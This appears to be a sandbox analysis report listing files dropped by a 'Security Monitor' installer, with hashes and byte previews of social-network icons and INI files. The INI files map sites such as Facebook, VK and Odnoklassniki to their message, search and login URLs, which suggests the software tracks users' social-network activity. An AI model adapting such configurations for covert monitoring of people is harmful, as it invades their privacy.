Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\myspace.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.713510909371912
Encrypted:	false
SSDEEP:	48:+bQZkzhN60+qAWGgEoP30eRH4VAIEftmtCCPV7VrllypoC:z6N6/WGChsKUtHVH4poC
MD5:	9D7DB8AFD191BC67C9E410619010B1CB
SHA1:	19B0D0D72B3656FEE507E633739CF71B3FD642E9
SHA-256:	1A27BB476C1E83AFF622369138CA27B866B6D7865A35E021A0985FA3CCB023A3
SHA-512:	98D3105521E6E5625FF8E822A327455624395347C5CB5736720164078842E84411531BE03C3C59166DA8F5EB3A682EA5D0BCF6F74C97E9DE61EE4505BF19FDD2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................D...C...B..A...@...@...?...>...=...=...<...;...:...:...9...8...8...8...8...8...8...8...8...8..8...8.......................E...D..F...P...R"..V'..U&..T&..S%..S$..R$..Q#..P#..O"..N"..M!..M!..L ..K...J...I...H...F...C...@...9...8..8...................E...G...X'..X(..X(..W'..V'..U&..T%..S%..R$..R$..Q#..P#..O"..N"..M!..L ..L ..K...J...I...H...G...F...E...9...8...................F..S!..Z)..Y)..X(..W(..W'..V&..U&..T%..S%..R$..Q$..Q#..P#..O"..N!..M!..L ..K ..K...J...I...H...G...F...@...8...................G...V%..[..Z)..Y)..X(..W'..V'..V&..U&..T%..S%..R$..Q$..g...X..X..X..X..X..X..X..g...I...H...G...C...8...................H...\+..[..[*..Z)..Y)..X(..W(..W

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\odnoklassniki.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.673387955380768
Encrypted:	false
SSDEEP:	96:Q0YV+XQJt9CeeTQLvNDg9m8nlVlurzJW37a5Mm9bYHEh:9YxCeQQ5DgM8nlVgr9W3emm9bYHEh
MD5:	ECDF723831AEFF58D496FC70C8283BF6
SHA1:	F4FAC6B07305CFB612625391FC50333071665167
SHA-256:	97D0CF1DB2088A9D3EDDE44EF4BBE8731C82FE8539C89BB45A72E9F131BDCE19
SHA-512:	B7FCDCF49BE8507950EFE02890BE516A99BACE7DAB1D6571DF4037C95011491944AE107EE5E507BFDAF342048264AA623E44AAE66824088333DC343051734866
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................6...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...6.......:...L...U...N...M...N...Q...T...X...]...b...f...j..!n.."q..#s..$s..#s.."q..!n...j...f...a...]...X...T...Q...N...N...U...L...:...:...X...F...@...?...?...B...E...I...N...S...W...[...^...b...c...c...c...a...^...[...V...R...M...I...E...B...?...@...F...X...:...;...U...D...A...@...@...A...C...F...J...M...P...S...V...X...Y...Z...Y...X...V...S...P...L...I...F...C...A...@...A...D...U...;...<...V...F...C...B...A...@...A...C...E...H...J...L...N...O...P...P...O...O...M...K...I...G...E...C...A...A...B...C...F...V...<...=...W...G...F...C...B...A...@...A...B...C...A...B...D...G...H...H...G...E...B...B...C...C...B...A...A...B...C...F...G...W...=...=...Y...I...G...F...D...C...B...A...B...>...5...1\|..5...>...C...C...?...6...1\|..5...?...B...A...B...C...D...F...G...I...Y...=...>...[...K...I...I...G...G...D...C...C...D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\qqzone.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.907368134642011
Encrypted:	false
SSDEEP:	48:WRkPCxmKeaeee6Sz1WDl2bbkVmB4g7mGpzSl:0xmKfSz18C+wQl
MD5:	5738301E256B421DA693EFD4DC523727
SHA1:	18C0624ED82BA03C8A1FBDB720F47DAEE5A694E3
SHA-256:	67CD0A812DBCB3FAC6D87A01EF134D66937DA8166602854CB6FC01DA7A94388D
SHA-512:	75E6B019DBBA805982A4168D17FEB46DFF8C832DA1BA0A6B3C131725FB0D0ECD598532576620A086867EE679486819FB0332F25597E9FC1B42454E846B3EC84D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................................................................................................................G.......................................................................5...............................................................U...........................................(...........................................................................................u...........................0...........................................................................]...............................}...........5...................................................................................:...........................................................................................................................................................................................................~..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\twitter.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.532691390134044
Encrypted:	false
SSDEEP:	96:nY99Q99TqqeqQEqqeqQ4q0AqPwqKzj05pjskYoE6cCLa5v8XrimfI:vqqeqQEqqeqQ4q0AqPwqKzj05pjxzBaL
MD5:	EA7CF6E021F69BF2044DC239F9875D65
SHA1:	69699CA689463AC506D522CB95EA2507EE9D59F9
SHA-256:	524AE1533708F5B47C73B4513662DAE775303FC2EF5D39B238D139C18864D24B
SHA-512:	019AE06EA6F6CA327465EEBCBF54055CE833B5D5C1BB79AF89EE26351B088BB11E8E1E9544563FC663939D6D25DD2314BE208BDC0AFD6699741103E4C57CA090
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................................................................................................5y{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c...5y............../..4..:..A..J...S...\...f...p...w..............................y...o...c..Y..P..G..@..;..3..............3..<...B...C...C...E...J...J...J...J...J...E...C...C...C...C...D...I...J...J...J...J...I...C...C...C...C...B...?..0..........;...G...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...H...A..5...........<...J...O...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...B..3...........<...J...Q...O...I...I...I...I...K...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\twitter_.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.907302157036138
Encrypted:	false
SSDEEP:	48:+BfZk7WDHWwgHz/8EKnha1Za+Wt4UhU6XkfAsq6BfyTLDJa8LaMahaavC:ykCrFEZ1k+Wt4UG54sqU6TJaoaMahaa
MD5:	E6EB914C76409FE1F3D53E3C181CC9D9
SHA1:	36A34D8F71B146A39A68F7C0AB02A566FCA24A85
SHA-256:	060DFC41C4D3CCEFA3FD8E104302B42408DA7F54CA13096ED7836EF57C5B4D6D
SHA-512:	7EA5748DF3C9229E166AC5578A23C56FEFC3E395A53D24305FB39D909F1F5ED5193A5F349824890C31D0AD90F7A6A574184A5E0E52C4BA83D868C71B94BB8B87
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[...................................................................................[...................................-..................................................................................................-......................................................................................................................................................[...........................................................................................................[.............................................................Q..'.....................*..................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\vkontakte.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.506385614203068
Encrypted:	false
SSDEEP:	96:8++kbjhMq1a9dJsg987jefKQ4N8tttttttttttttttttt6n:v+kbjhMgxjefKVl
MD5:	7B60FEEE9EF0D5277330748C9E1592A3
SHA1:	54DCE445A030CF59EFC15B1AB977EE6358BC02BC
SHA-256:	8891B8CB9AD98FB86BEA6DD1D3D8717C997440CEE2519565A3D9B46133FDB5DC
SHA-512:	915D4CD6C012DB9EC96257D4B1AD40367E1DE0940A22695547EA55DACBD2DB3FCD869556886013618A5F09053C6C8CBE97950E798794B1E681488FE98F52E84F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................6-...Y>#.oO,.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.oO,.Y>#.-......6...............OzU-..R...R..\|O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..\|O...R...R.zU-....O.......%}W...P..vK..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..vK...P.}W.....%6#.w.~M..uH..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..uH..~M.6#.wsO(..xK..qF..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qF..xK.sO(..b4.tG..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..tG..b4.c5.qD..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..qD..c5.c5.pB..m@..l@..l@..l@..l@..k>..j=..j=..k

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\youtube.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0497425098377073
Encrypted:	false
SSDEEP:	48:lLkTTTTTTTTTTTTTTTTTTTuTTTTTTTTTTTTTTTTTTTTTTTTTT/TTTTTTTTTTTTTt:J4Osj4
MD5:	BF35CDB2F5E57DDFC543AF37943A1077
SHA1:	0CF4E53B9B623BEF1E52BDEFCD31D155EAA4C9C2
SHA-256:	82803689C06BF4D08AA1852D2C5CD3CE08258C828F12DF85C56BB6FC21A8E835
SHA-512:	60CC6A06BD361CFD73D696717225CDB3B57278840606558D1B65390B531A590BDF08B2CB147B3159529DBB30D5C953C693E663D7E589B1E03756121EC3040199
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$$.........$.......5...<...C...G...K...O...S...S...P...N...K...E...>...7...0...#.......................................Q..........................................................................................................T...............\|...................................................................................................................\|..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\SNets.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Instagram]
Category:	dropped
Size (bytes):	2361
Entropy (8bit):	5.086790461308817
Encrypted:	false
SSDEEP:	48:lkYaqeR/Mfg1mg6kL33dMLoXL2MK7hWNPE0hx8wgOV+U3DkROxPDv:ukgEEx6O+m+YPFYyJ
MD5:	C846DA6EDAA3DA7B84D7C275232E7113
SHA1:	48EFA8A9F71BA06A8AEF67786F234CCFF43EBFF1
SHA-256:	4AAEB9FA982ADED9CE384AFDD72AD2D9F25F4D4803D29936D86F3836F71ED323
SHA-512:	69259712A33EEAAAB99503C95E8F5F5614ECBD300065EED89181A26DFF15621F69D7B995212EBD6062A739C0A05B0BFED11E5B367AE91A6D80895519F75CA455
Malicious:	false
Reputation:	unknown
Preview:	[Facebook]..ID="facebook.com"..NodeID=31..msgID="facebook.com/messages"..SearchID="facebook.com/search/results.php"..QueryID="?q="..LoginOk="facebook.com/?sk=welcome"..[Instagram]..ID="instagram.com"..NodeID=68..msgID=""..SearchID=""..QueryID=""..LoginOk=""..[Youtube]..ID="youtube.com"..NodeID=69..msgID=""..SearchID="youtube.com/results?search_query"..QueryID="?search_query"..LoginOk=""..[Twitter]..ID="twitter.com"..NodeID=33..msgID="twitter.com"..SearchID="twitter.com/i/#!/search"..QueryID="#!/search/"..LoginOk=""..[LinkedIn]..ID="linkedin.com"..NodeID=35..msgID="linkedin.com/msgToConns"..SearchID="linkedin.com/search"..QueryID="keywords="..LoginOk="linkedin.com/home"..[Myspace]..ID="myspace.com"..NodeID=32..msgID="http://www.myspace.com/my/mail"..SearchID="http://www.myspace.com/search/"..QueryID="?q="..LoginOk="myspace.com/home"..[VKontakte]..ID="vk.com"..NodeID=36..msgID="vk.com/im"..SearchID="http://vk.com/search"..QueryID="[q]="..LoginOk="vk.com/id"..[Odnoklassniki]..ID="ok.ru"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.314915181326778
Encrypted:	false
SSDEEP:	3:LqRlJbXyi6AA:2lBrA
MD5:	D584582812D6A2E882BE885DD27E18E5
SHA1:	388346E2897C7849D8F7E38A2450377023503257
SHA-256:	63B34D170783C35985AB770AA19CE31E5AC8C90899423BE3A587B1CF17D417B8
SHA-512:	C057ED6B8AD5DB53BD6D4FC556E03F3D6607D06A35D4FE91BD16B39E2DC9822FC7F1C740BA89297D31F645047B7941DE1501115ED2159180BC41B4B37C9F1D83
Malicious:	false
Reputation:	unknown
Preview:	Facebook..Instagram..Youtube..Twitter..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Marks]
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.674458029739085
Encrypted:	false
SSDEEP:	3:91A2vTzyosXO/ovsh2vJ5Im5B9gHovNRN4o6bHiys6SIFv9oc:91A2vT+vm/h2v8ARNmi/6S+v9oc
MD5:	6BD299C4CBF0029EA3F2F85BE0268693
SHA1:	D45F93594FEEA321B778C691051CE9B47D13D480
SHA-256:	BB9DBEEE227D18FFB6BE8AE4C33D681CC8A04FF1120F69EBF73E98E4302C6051
SHA-512:	7EEDA815F4D91D0B588DA4B0F3EFB222CA189A8E42333B1664EC9520FD1BA68EF80ABC9F4B965CD5657A0334B8AED2C412DC79CEEF9EC34867CC429A51C1E95E
Malicious:	false
Reputation:	unknown
Preview:	[Guests]..ID="ok.ru/guests"..[Marks]..ID="ok.ru/marks"..[Friends]..ID="/friends"..[Photos]..ID="/photos"..[About]..ID="/about"..[Profiles]..ID="ok.ru/profile/"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\About.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Guests.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Marks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Photos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Profiles.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-485DE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-712T6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-8NBOB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-ONLQJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
